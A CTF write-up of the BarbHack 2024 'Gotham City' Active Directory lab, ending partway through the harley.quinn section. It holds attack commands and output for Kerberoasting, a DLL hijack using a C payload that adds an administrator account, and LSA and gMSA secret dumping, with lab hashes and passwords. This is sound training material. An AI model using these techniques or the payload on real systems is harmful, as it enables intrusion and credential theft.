Post

BarbHack CTF 2024 : Gotham City - Active Directory writeup

BarbHack CTF 2024 : Gotham City - Active Directory writeup

This lab was part of 2024’s BarbHack hacking conference’s CTF and was created by mpgn who is known for his contributaions to NetExec.

from oficial repo:

Originally featured in the Barbhack 2024 CTF, this lab is now available for free to everyone! In this lab, you’ll explore how to use the powerful tool NetExec to efficiently compromise an Active Directory domain during an internal pentest.

The deployment of it is quite simple, similar to the GOAD lab setup, which I wrote about here, and can be done like any Ansible playbook deployment. Ansible isn’t the only option—other tools are listed too, depending on what you’re comfortable with. With a few tweaks to the IP addresses to avoid conflicts with my GOAD setup, I was ready to go.

All the details on how to deploy it is here, This lab can also be deployed using Ludus.

There are 13 flags to capture in total—covering various Active Directory misconfigurations and enumeration techniques.

My goal in solving this lab isn’t just to capture the flags, but to learn new techniques and understand each attack—down to the wire—through low-level network analysis.

Time to compromise Gotham City! 🦇

Setup

It consist of three machines configured with those IPs:

  • DC01.GOTHAM.CITY ⇒ 192.168.56.20
  • SRV01.GOTHAM.CITY ⇒ 192.168.56.21
  • SRV02.GOTHAM.CITY ⇒ 192.168.56.22

Enumeration

Nmap didn’t yield any unusual service, all default DC stuff.

I think in most machine-based CTFs, one of the first things everyone typically do is enumerate SMB. I run nxc against all of the 3 machines with guest session because null session was disabled. And I got this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
└─$ nxc smb ip.txt -u 'guest' -p '' --shares
SMB         192.168.56.21   445    SRV01            [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB         192.168.56.22   445    SRV02            [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB         192.168.56.20   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False)
SMB         192.168.56.21   445    SRV01            [+] GOTHAM.CITY\guest:
SMB         192.168.56.22   445    SRV02            [+] GOTHAM.CITY\guest:
SMB         192.168.56.20   445    DC01             [+] GOTHAM.CITY\guest:
SMB         192.168.56.22   445    SRV02            [*] Enumerated shares
SMB         192.168.56.22   445    SRV02            Share           Permissions     Remark
SMB         192.168.56.22   445    SRV02            -----           -----------     ------
SMB         192.168.56.22   445    SRV02            ADMIN$                          Remote Admin
SMB         192.168.56.22   445    SRV02            C$                              Default share
SMB         192.168.56.22   445    SRV02            IPC$            READ            Remote IPC
SMB         192.168.56.21   445    SRV01            [*] Enumerated shares
SMB         192.168.56.21   445    SRV01            Share           Permissions     Remark
SMB         192.168.56.21   445    SRV01            -----           -----------     ------
SMB         192.168.56.21   445    SRV01            ADMIN$                          Remote Admin
SMB         192.168.56.21   445    SRV01            C$                              Default share
SMB         192.168.56.21   445    SRV01            CleanSlate      READ,WRITE      Basic RW share for all
SMB         192.168.56.21   445    SRV01            IPC$            READ            Remote IPC
SMB         192.168.56.20   445    DC01             [*] Enumerated shares
SMB         192.168.56.20   445    DC01             Share           Permissions     Remark
SMB         192.168.56.20   445    DC01             -----           -----------     ------
SMB         192.168.56.20   445    DC01             ADMIN$                          Remote Admin
SMB         192.168.56.20   445    DC01             C$                              Default share
SMB         192.168.56.20   445    DC01             IPC$            READ            Remote IPC
SMB         192.168.56.20   445    DC01             NETLOGON                        Logon server share
SMB         192.168.56.20   445    DC01             SYSVOL                          Logon server share
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Something worth noticing—aside from the READ, WRITE permissions on a share in SRV01—is that both SRV01 and SRV02 have SMB signing: False, which might be useful later for relaying.

We can then use nxc module spider_plus to see what is actually inside CleanSlate share:

1
2
3
4
5
6
7
8
9
10
{
    "CleanSlate": {
        "cleanslate.exe": {
            "atime_epoch": "2025-07-23 06:37:48",
            "ctime_epoch": "2025-07-23 06:37:48",
            "mtime_epoch": "2025-07-23 06:37:55",
            "size": "10.02 MB"
        }
    }
}                                                                                                                                                                                        

1st flag

After downloading it and running it on a Windows VM, the program prompts for a key. If the key is incorrect, it simply exits. So we need to reverse it, but how??

The first thing I did was try to reverse it using Ghidra, but it was a bit complex for me (or maybe I’m just still not that good yet at reversing :D ), so I got curious about what language it was written in. There is a great tool called Detect It Easy determined to identify and retrieve the signatures of executables.

image

If we clicked on the capital S there we can see the signatures: image

Another thing that is worth noticing according to this blog which explain the whole process of decompilation, we can determine the Python version as we can see PyInstaller first unpacks all files in the temporary folder and calls for dll for it’s version:

image So that executable was packed using PyInstaller with Python 3.11.

It’s my first time recovering source code from a compiled PyInstaller executable, After some research, I learned there are two main steps to get the source code:

  1. Unpack all files from the EXE. This will extract the bundled files, including the compiled Python bytecode (.pyc) files. Using a tool like pyinstxtractor.
  2. Decompile the relevant .pyc files to recover readable Python source code. Using a tool like uncompyle6.

Executing pyinstxtractor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ python3 pyinstxtractor.py ../../cleanslate.exe
[+] Processing ../../cleanslate.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 10172177 bytes
[+] Found 26 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: cleanslate.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.11 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: ../../cleanslate.exe

You can now use a python decompiler on the pyc files within the extracted directory

There are often some false positives, our main focus on cleanslate.pyc

Now time for step 2:
I searched for another tool and I found on reddit an online tool to do the hard work for us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: cleanslate.py
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

from rich.progress import Progress
import time
import os
import base64

def shift_char(c, shift):
    """Shift character by shift amount."""
    if c.isalpha():
        shift_amount = shift + 26
        base = 'A' if c.isupper() else 'a'
        return (chr * ord(c) * ord(base), shift_amount + 26)(ord(base))
        return True
    if c.isdigit():
        shift_amount = shift + 10
        return (chr | ord(c) | ord('0'), shift_amount | 10)(ord('0') + __main__)
    return c
KEY_FILE = 'C:\\SHARE\\key.txt'
KEY = 'fTk1NmRkMDQ2MDBpNjdnZDU0Z2dlMjdoNDNlZjJlNzFme2V1ZQ=='

def is_valid_key(input_key):
    if os.path.exists(KEY_FILE):
        with open(KEY_FILE, 'r') as file:
            stored_key = file.read().strip()
        if input_key == stored_key:
            return True
        if len(input_key) == 24 and 'GOTHAMCITY' in input_key:
            return True
    return False

def cleaning(encoded_flag):
    decoded_bytes = base64.b64decode(encoded_flag)
    decoded_flag = decoded_bytes.decode()
    shift = 3
    reversed_shifted_flag = ''.join((shift_char(c, -shift) for c in decoded_flag))
    original_flag = reversed_shifted_flag[::-1]
    return original_flag

def main():
    key = input('Enter your key: ')
    if is_valid_key(key):
        print('Key is valid! Cleaning data...')
        with Progress() as progress:
            task = progress.add_task('[green]Processing...', total=100)
            for i in range(100):
                time.sleep(0.05)
                progress.update(task, advance=1)
        print('Process completed! Flag:', cleaning(KEY))
    else:
        print('Invalid key. Please try again.')
if __name__ == '__main__':
    main()

The logic of the code is quite easy, just checking if input_key matches the key that is in C:\SHARE\key.txt, or if the input_key is exactly 24 characters long and includes the string GOTHAMCITY. And we can see it actually tries to open it in procmon image

I was too lazy to create a folder on the VM and put the key.txt there so I tried to print a 24 char including the GOTHAMCITY string.

1
2
└─$ python3 -c "print('a' * 14 + 'GOTHAMCITY')"
aaaaaaaaaaaaaaGOTHAMCITY

but it somehow didn’t work, remember this code is decompiled so the flow of the code maybe different from the actual one.

after creating the desired key.txt we got back the 1st flag! image

Just to to satisfy my curiosity, I wanted to know if the 24-char string that includes GOTHAMCITY (not the string in the key.txt) would work now with the file in the correct path??.. and it actually worked?, but it still reads the 5-char string pix3l from the key.txt. image My assumption is that the original code runs inside a try-except block.


2nd flag

I tried to gain an initial foothold by obtaining user credentials on the domain. I attempted to enumerate LDAP for any plain-text passwords in user descriptions, but guest access was disabled, Even getting valid usernames needs a potential user list, but since the domain is GOTHAMCITY, I figured the users might be named after Batman characters. Worth a shot, right?

And of course, there’s a live website that serves an API has all character names.

Getting characters names:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ for i in $(seq 1 83); do curl -s "https://api.batmanapi.com/v1/characters/$i" | tee -a characters.json ;done
{
  "data": {
    "id": 1,
    "attributes": {
      "name": "Bruce Wayne",
      "alias": "Batman",
      "alive": true,
      "role": "Hero",
      "description": "The Dark Knight and protector of Gotham City.",
      "creator": "Tom King, Scott Snyder",
      "first_appearance": "Batman: Rebirth #1",
      "gender": "Male",
      "image_url": "https://example.com/images/bruce_wayne.jpg",
      "abilities": [
        "Martial Arts",
        "Detective Skills",
        "Stealth"
      ]
    }
  },
--- SNIP ---

it outputs a json file contains all the 83 character of the universe of batman, now I need to only extract the name:

1
2
3
4
5
└─$ cat characters.json | jq -r ".data.attributes.name" | tee -a potential.txt
Bruce Wayne
Selina Kyle
Alfred Pennyworth
--- SNIP ---

One final tweak before launching Kerbrute is to convert the names into common AD username formats using the awesome tool username-anarchy

1
2
3
4
5
6
7
8
9
10
11
12
└─$ ruby ~/tools/username-anarchy/username-anarchy --input-file potential.txt --select-format first,first.last,f.last,flast | tee -a users.txt
bruce
bruce.wayne
b.wayne
bwayne
selina
selina.kyle
s.kyle
skyle
alfred
alfred.pennyworth
--- SNIP ---

now running kerbrute:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(pix3l㉿home)-[~/Desktop/machines/GothamCity]
└─$ kerbrute  userenum users.txt -d gotham.city --dc dc01.gotham.city

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 07/24/25 - Ronnie Flathers @ropnop

2025/07/24 23:21:53 >  Using KDC(s):
2025/07/24 23:21:53 >   dc01.gotham.city:88

2025/07/24 23:21:53 >  [+] VALID USERNAME:       bruce.wayne@gotham.city
2025/07/24 23:21:53 >  [+] VALID USERNAME:       selina.kyle@gotham.city
2025/07/24 23:21:53 >  [+] VALID USERNAME:       alfred.pennyworth@gotham.city
2025/07/24 23:21:53 >  [+] VALID USERNAME:       dick.grayson@gotham.city
2025/07/24 23:21:53 >  [+] VALID USERNAME:       barbara.gordon@gotham.city
2025/07/24 23:21:53 >  [+] VALID USERNAME:       tim.drake@gotham.city
2025/07/24 23:21:53 >  [+] VALID USERNAME:       jason.todd@gotham.city
2025/07/24 23:21:53 >  [+] VALID USERNAME:       oswald.cobblepot@gotham.city
2025/07/24 23:21:53 >  [+] VALID USERNAME:       harvey.dent@gotham.city
2025/07/24 23:21:53 >  [+] VALID USERNAME:       bane@gotham.city
2025/07/24 23:21:53 >  [+] VALID USERNAME:       black.mask@gotham.city
2025/07/24 23:21:53 >  [+] VALID USERNAME:       joker@gotham.city
2025/07/24 23:21:53 >  [+] VALID USERNAME:       deadshot@gotham.city
2025/07/24 23:21:53 >  Done! Tested 224 usernames (13 valid) in 0.049 seconds

Now I can try attacks like AS-REP roasting to see if I can crack any user hashes. But all of em wasn’t misconfigured.

I got stuck for hours and hours, trying every possible technique I knew to get an initial foothold but nothing worked. Eventually, I gave in and looked up a public writeup for the machine. Turns out when decompiling the Python bytecode, the first user was printed directly in the source code along with this message which didn’t appear when I ran my copy of the binary ):

Flag:, If any error contact this person: lucius.fox1337 — this man is known for his careless style!

It even featured some Batman ASCII art, so it’s likely that the original binary used during the CTF was different from the one currently available online.

So back to Gotham, I added this user and got a hit!:

1
2
3
4
└─$ impacket-GetNPUsers gotham.city/ -dc-ip 192.168.56.20 -usersfile valid_users.txt -format hashcat
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

$krb5asrep$23$lucius.fox1337@GOTHAM.CITY:8fd05ab5cc5b889aafde6c66e5544e6e$cfa186d9f859d9a81d573de5383fa45813cc6d96ddfd72c6695739b3eb82d30037c64847a6d0cca041abbad4f1a13d0dc930772c91d248fbd9d8c90ab57cdad5833be421c821098cb732daca191d234f7fec086b50c927a9e168f148feaab4a6b0fcef1c6bbdb39084a60b09d779951a180a46d5107cb1b7d91b1412e76d632186303bf79005c04cb5cfbb2715001d7d21a93fad98475ba0dffd6da7d9718726f925e548d59534c348ca3818fd6ea50bec3a584ab45ac4e02c48f1a416f7c7aa6f77eca8eefc9dd68771a57d942b7fb24df58bd713ee1d77d1959ec551a590b55f2af1e28fb96ce8ae63

Tried to crack it, but I couldn’t. Back to hours of searching and I remembered that NetExec has this new module that Kerberoast users via AS-REP Roasting that I saw a tweet about few days ago. Myabe that will work with lucius?..

1
2
3
4
5
└─$ nxc ldap dc01.gotham.city -u lucius.fox1337 -p '' --no-preauth-targets valid_users.txt --kerberoasting output.txt
LDAP        dc01.gotham.city 389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GOTHAM.CITY) (signing:None) (channel binding:No TLS cert)
LDAP        dc01.gotham.city 389    DC01             [+] GOTHAM.CITY\lucius.fox1337 account vulnerable to asreproast attack
LDAP        dc01.gotham.city 389    DC01             [*] Total of records returned 1
LDAP        dc01.gotham.city 389    DC01             $krb5tgs$23$*joker$GOTHAM.CITY$joker*$e2f2d5a7ada6873238068181cd37c87f$ef397ac88701b23a91e478f7ddb0bfb648218984e8ba26df78c2e81144d8a0e2628620c5e2652b3182a5d941fc30ea08e9f916e7d568cb557e77867192f4643226ad64ee5d6cd7e1ed73b964407af35ad495f0ec3156a50ddcf5cdd935bbcf5d774cd7d85e6a95dba35dc056550d1829bf8cc72fe4ab873819294270fecaf123035bd12e56ec935a7db3471ca9ba9f322e232ba878ca91c1829f3de52469ca81f20d82daf767feac0797f9756589cd8d881787650c6e5d01e8cda737fc5a84839243bbe2139eb15d679b48134a60199ad14009f1484cf37f683a51a56378acd5c7286c8792cd0e2e4fdf79cd9c7f5870e78ac9bbfa6c7b1e1e012a946dc0b435425e948e5386e44c1bb6ab154badeeeb295d26074cf4444ff5f4092dfa2ac073bad23a4dcc26d52cc49e6ee2c1eedac7652ee25f7f122ad30871207afa0475fc5b265e74f088d23251652b1d707e16f798ea3c20dee3066adc36e5d35315cc2e76e686f6da3b1c849966abeef816c65ac4c2dd3bf2150cf3264f6a8db33851a26344f80f7c62e90dd2ca537e5ae76a6632c0cbd1276a4cbe0736a77c491f2c619a554b5b2974ea32ee4c482a05afc0bb692f3d44639902395fa2eccf33eec604788cdb7a2ab6b2b21e49b7756b329971aa6121b132ad21fb1de995aad2ac8a19e5d85874925c8933f35ef5f59cf0230754a7fe5e989b7b58df2c4cccab993639e06122a3f0e9b5f40068ebb6262edf724a18a6abedff733bda14d0a099251e10ab36e775deb133f553daa8aa9c6e608b10579f3e214f0170315bc85d44f6e918b3cb6dbc24c428c47313ee85199de1629b75b1a2ebe3f200ab7339c7d60c67563e6a325ddf345887901f5690e40ec150a5888f1b90617c97c3f6dbd99e69bce665efa708d9a06f1fbbc158f6fc0edd85bc946a62fd9e49ec7245182837c7a08b514121d59446e9836abc5be8524534813165b33e7816e0f4f44d6ef7ca4f02a446bdf98ccaabd3f3dab80c06afc40085355294eed6a871690fa00f1e6a88935721ec9af014a1c7f42e81ea0dcb9bbe9fe90762a32cb8e394b7ee0393d4e39eeee0d2801fb7f6b947ced7ded35dc7fd4c1d79040e22cefb4779705cf0c9e2c0bea5272d3f88bd845a9c55f06bb5be28c416319116e7763561d8a0b3c399ee9203efeda7af4ec3a39390ba9af4a44f31ebf20542422dc0c2a449e27a7219c9dea93b15779d1e8aefb870f0ff8fa61df44a8a258a6be81b590ed7591388b5cda7cf76977e9b80ffb421b6e2d36695da99748efd403de1256eee505dc4542ccfb5e662399a85091854e35782f1a751880f4b2d17

got a hit on joker!, and it was crackable: <3batman0893

I reran NXC against the SMB shares and attempted to enumerate users and shares again. This time, I got:

  • More valid users
  • The second flag hidden in the description field of harvey.dent!
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    
    └─$ nxc smb dc01.gotham.city -u 'joker' -p '<3batman0893' --users
    SMB         192.168.56.20   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False)
    SMB         192.168.56.20   445    DC01             [+] GOTHAM.CITY\joker:<3batman0893
    SMB         192.168.56.20   445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-
    SMB         192.168.56.20   445    DC01             Administrator                 2025-07-23 03:14:51 0       Built-in account for administering the computer/domain
    SMB         192.168.56.20   445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain
    SMB         192.168.56.20   445    DC01             krbtgt                        2025-07-23 03:26:57 0       Key Distribution Center Service Account
    SMB         192.168.56.20   445    DC01             bruce.wayne                   2025-07-23 03:46:07 0       -
    SMB         192.168.56.20   445    DC01             joker                         2025-07-23 03:46:08 0       -
    SMB         192.168.56.20   445    DC01             alfred.pennyworth             2025-07-23 03:46:09 0       -
    SMB         192.168.56.20   445    DC01             selina.kyle                   2025-07-23 03:46:10 0       -
    SMB         192.168.56.20   445    DC01             harvey.dent                   2025-07-23 03:46:11 0       brb{96df3a6e62f6deff7a49d4faf7407050}
    SMB         192.168.56.20   445    DC01             jim.gordon                    2025-07-23 03:46:12 0       -
    SMB         192.168.56.20   445    DC01             lucius.fox1337                2025-07-23 03:46:13 0       -
    SMB         192.168.56.20   445    DC01             barbara.gordon                2025-07-23 03:46:14 0       -
    SMB         192.168.56.20   445    DC01             oswald.cobblepot              2025-07-23 03:46:15 0       -
    SMB         192.168.56.20   445    DC01             edward.nygma                  2025-07-23 03:46:16 0       -
    SMB         192.168.56.20   445    DC01             bane                          2025-07-23 03:46:17 0       -
    SMB         192.168.56.20   445    DC01             victor.freeze                 2025-07-23 03:46:18 0       -
    SMB         192.168.56.20   445    DC01             harley.quinn                  2025-07-23 03:46:19 0       -
    SMB         192.168.56.20   445    DC01             dick.grayson                  2025-07-23 03:46:20 0       -
    SMB         192.168.56.20   445    DC01             jason.todd                    2025-07-23 03:46:21 0       -
    SMB         192.168.56.20   445    DC01             tim.drake                     2025-07-23 03:46:22 0       -
    SMB         192.168.56.20   445    DC01             talia.al.ghul                 2025-07-23 03:46:23 0       -
    SMB         192.168.56.20   445    DC01             rachel.dawes                  2025-07-23 03:46:24 0       -
    SMB         192.168.56.20   445    DC01             ras.al.ghul                   2025-07-23 03:46:25 0       -
    SMB         192.168.56.20   445    DC01             scarecrow                     2025-07-23 03:46:27 0       -
    SMB         192.168.56.20   445    DC01             poison.ivy                    2025-07-23 03:46:28 0       -
    SMB         192.168.56.20   445    DC01             black.mask                    2025-07-23 03:46:29 0       -
    SMB         192.168.56.20   445    DC01             killer.croc                   2025-07-23 03:46:30 0       -
    SMB         192.168.56.20   445    DC01             deadshot                      2025-07-23 03:46:31 0       -
    

3rd flag

The next step was diving into BloodHound to look for any ACL misconfigurations. I noticed an interesting user with GenericAll on almost everything, so I marked it as a high-value target. image Aside from that, there wasn’t much else of interest.

I Contniued to enumerate using nxc and I got a hit on RDP:

1
2
3
4
5
6
7
8
 └─$ nxc rdp ip.txt -u 'joker' -p '<3batman0893'
RDP         192.168.56.20   3389   DC01             [*] Windows 10 or Windows Server 2016 Build 20348 (name:DC01) (domain:GOTHAM.CITY) (nla:True)
RDP         192.168.56.21   3389   SRV01            [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV01) (domain:GOTHAM.CITY) (nla:True)
RDP         192.168.56.22   3389   SRV02            [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV02) (domain:GOTHAM.CITY) (nla:True)
RDP         192.168.56.20   3389   DC01             [+] GOTHAM.CITY\joker:<3batman0893
RDP         192.168.56.21   3389   SRV01            [+] GOTHAM.CITY\joker:<3batman0893 (Pwn3d!)
RDP         192.168.56.22   3389   SRV02            [+] GOTHAM.CITY\joker:<3batman0893
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

image


Compromising SRV01

I fired up winpeas on SRV01 on got this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
╔══════════╣ Modifiable Service Binaries (Potential Privilege Escalation)
╚══════════

[*] Checking services where current user has WRITE permissions on the binary path...

[+] Service Name:         WayneService
    Display Name:         (none)
    Status:               Stopped
    Start Mode:           Auto
    Service Type:         Win32OwnProcess
    Image Path:           C:\Wayne\wayne.exe
    Can Start:            True (UserCanStart = True)
    Registry Path:        HKLM\SYSTEM\CurrentControlSet\Services\WayneService
    Service Account:      LocalSystem
    [!] WARNING: User has WRITE access on the binary path!
        -> This could allow privilege escalation if the binary is replaced.

Interesting service name, and joker can write on it.

I copied it to another VM and tried to run it image So it is trying to load something? maybe a DLL Further inspection it with procmon:

image Looks like it’s just attempting to load that alfred.dll. Sounds like a great opportunity for a DLL hijack to escalate privileges and potentially compromise SRV02. but first, we need to check what privileges this service runs with image it’s executing as LocalSystem, So we can create a new user and add ourselves in administrators group.

I asked ChatGPT to generate a C program that adds a user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ cat adduser.c
#include <windows.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        USER_INFO_1 ui;
        DWORD dwError;

        ui.usri1_name = L"pix3l";
        ui.usri1_password = L"P@ssw0rd";
        ui.usri1_priv = USER_PRIV_USER;
        ui.usri1_home_dir = NULL;
        ui.usri1_comment = NULL;
        ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD;
        ui.usri1_script_path = NULL;

        NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError);

        LOCALGROUP_MEMBERS_INFO_3 account;
        account.lgrmi3_domainandname = L"pix3l";
        NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
    }
    return TRUE;
}

after compiling and copying it to SRV01 using cp command and impacket-smbserver on my attacking machine and running wayne.exe again: image

Then all I had to do was net start WayneService to add pix3l to administrators: image

After that first thing I do when getting as Local admin on a machine is dump LSA, I tried impacket-secretdump but it didn’t work

1
2
3
4
5
└─$ impacket-secretsdump gotham.city/pix3l:'P@ssw0rd'@192.168.56.21
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: rpc_s_access_denied
[*] Cleaning up...

few days ago I saw this tweet that has new modules for dumping NTDS.dit and LSA and it worked like a charm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ nxc smb SRV01.GOTHAM.CITY -u 'pix3l' -p 'P@ssw0rd' --local-auth --lsa
SMB         192.168.56.21   445    SRV01            [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:SRV01) (signing:False) (SMBv1:False)
SMB         192.168.56.21   445    SRV01            [+] SRV01\pix3l:P@ssw0rd (Pwn3d!)
SMB         192.168.56.21   445    SRV01            [+] Dumping LSA secrets
SMB         192.168.56.21   445    SRV01            GOTHAM.CITY/Administrator:$DCC2$10240#Administrator#39485ed3512c727dd30b8f5dccd81131: (2025-07-23 23:58:29)
SMB         192.168.56.21   445    SRV01            GOTHAM.CITY/joker:$DCC2$10240#joker#e7d14d706a6a8a40939f0b5ed6fa4db1: (2025-07-24 23:21:58)
SMB         192.168.56.21   445    SRV01            GOTHAM\SRV01$:aes256-cts-hmac-sha1-96:4a0a3170c390e3eb3c799454c19084b182a4cddae47816ca77d7e25a5a1338dd
SMB         192.168.56.21   445    SRV01            GOTHAM\SRV01$:aes128-cts-hmac-sha1-96:94c55cdb4bdc85df20196818eb85743c
SMB         192.168.56.21   445    SRV01            GOTHAM\SRV01$:des-cbc-md5:54c852861f15b364
SMB         192.168.56.21   445    SRV01            GOTHAM\SRV01$:plain_password_hex:5c004f0030006d003d003c0046004b0033007400430073003a004500460024006d00400039006c0027005d0079002f004f0041004d0023005d004c006a00280071003d00410048003f006200460063002d0074005500590036002700680058007a0061006c0079004c00480078005e003c00430024006d0041002e004e0032004400380066004600590052006400440062006e003d00290025004d004c0060003e003c006a00420056006e006600400072006c0079007a003d004d0064006500300053005e0026004c0031006500660022002c0068002000640036004900390042002f0043003e0044004c0068007900
SMB         192.168.56.21   445    SRV01            GOTHAM\SRV01$:aad3b435b51404eeaad3b435b51404ee:8aaf1265931bb244e9c77b8713da9fa3:::
SMB         192.168.56.21   445    SRV01            dpapi_machinekey:0x704927117ac943bcc227b71aa8183ca52fc6e5aa
dpapi_userkey:0x5ee5f32fe0e3abf3b37b6ae5bb1c43c5801f6b39
SMB         192.168.56.21   445    SRV01            _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c:02b7148230fe0cb0ecedaadc5e7926225a759bb7841b273e4f3d8e84fef88e2e8c5861012e0730f5416357351da0d7c11d85d840f06e3eebe5e4f0bd7326d087daf0bdbd6793278e9d909de840db8c68805a2f58be07e6d434d002c795d357b1ece812baed73a7a12a57e359146efdb6cdf6d2f643006954eb5d9065871358a88843c15d605c0fc793be416487e92b4ad3fe38c74158fb6a5d67a4880d0f2b45c0b3bd11e76d7245dab9ea892fc7f7a1b9cf1150ff6e51518d8515299c2bed69b2e91248c239e32665f16205d425fea11ec7998ad2720d0b2a284a6899500f4a937085bb63218613785c4c0358baa700
SMB         192.168.56.21   445    SRV01            _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c:01000000220100001000000012011a01a207d92210ce3501070224dc67d61ed2fb4aa495cd0f4017eb9710c5f44bf6371c20be8e61b9b31753397be40773bae3889c8c0677c71e1ae9a2ea0035230db0532fec9d5cc7337bf6f20be7eb1333c3fe5d6188f54b837175103cb083c6c013099276ef41f1830c5bcb956a20c60e2f3f66bae08f6ad4459c853460acaf744530335dc7ee671ef83b075761072aade984f504486e2a916f9ed0c3cb79583adadf089401c6e281df0229411c0cb36c983f38efbb6cfcbf7ec5c678c8915818d59eabadb6c821c8150d1621dd566d13a8bdc422bc31578effab016c9b1fe1594e229dd2afacd3b15678b4dd9e3469847e136206659f5c77b7d74ae8d3fea550c20000502e49975117000050d078e450170000
SMB         192.168.56.21   445    SRV01            GMSA ID: 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c NTLM: e53fd750fc7d68fb4210782546a9ff48
SMB         192.168.56.21   445    SRV01            [+] Dumped 10 LSA secrets to /home/pix3l/.nxc/logs/lsa/SRV01_192.168.56.21_2025-07-25_031008.secrets and /home/pix3l/.nxc/logs/lsa/SRV01_192.168.56.21_2025-07-25_031008.cached

I dehexed the machine account password with CyberChef and it’s my first time getting actual password for a machine account, I even put the NTLM hash in a file and tried to crack the hash to see if it will match the output from CyberChef and it did, but hashcat outputed back in hex xd image Now we have both NTLM and plain password for SRV01$ machine account!


GMSA-ROBIN$

back to bloodhound I can see this: image If we looked back to nxc command that dumped the LSA we can find a hash for GMSA, is it GMSA-ROBIN$ account hash? It is indeed but we can check by using nxc:

1
2
3
4
└─$ nxc ldap 192.168.56.20 -u 'joker' -p '<3batman0893' --gmsa-decrypt-lsa "_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c:01000000220100001000000012011a01a207d92210ce3501070224dc67d61ed2fb4aa495cd0f4017eb9710c5f44bf6371c20be8e61b9b31753397be40773bae3889c8c0677c71e1ae9a2ea0035230db0532fec9d5cc7337bf6f20be7eb1333c3fe5d6188f54b837175103cb083c6c013099276ef41f1830c5bcb956a20c60e2f3f66bae08f6ad4459c853460acaf744530335dc7ee671ef83b075761072aade984f504486e2a916f9ed0c3cb79583adadf089401c6e281df0229411c0cb36c983f38efbb6cfcbf7ec5c678c8915818d59eabadb6c821c8150d1621dd566d13a8bdc422bc31578effab016c9b1fe1594e229dd2afacd3b15678b4dd9e3469847e136206659f5c77b7d74ae8d3fea550c20000502e49975117000050d078e450170000"
LDAP        192.168.56.20   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GOTHAM.CITY) (signing:None) (channel binding:No TLS cert)
LDAP        192.168.56.20   389    DC01             [+] GOTHAM.CITY\joker:<3batman0893
LDAP        192.168.56.20   389    DC01             Account: gmsa-robin$          NTLM: e53fd750fc7d68fb4210782546a9ff48

Now we have the hash of GMSA-ROBIN$ computer account.


harley.quinn - 4th flag

back to bloodhound image

GMSA-ROBIN$ has GenericAll over HARLEY.QUINN so we can for reset its password.

1
2
3
4
5
6
7
8
┌──(pix3l㉿home)-[~/Desktop/machines/GothamCity]
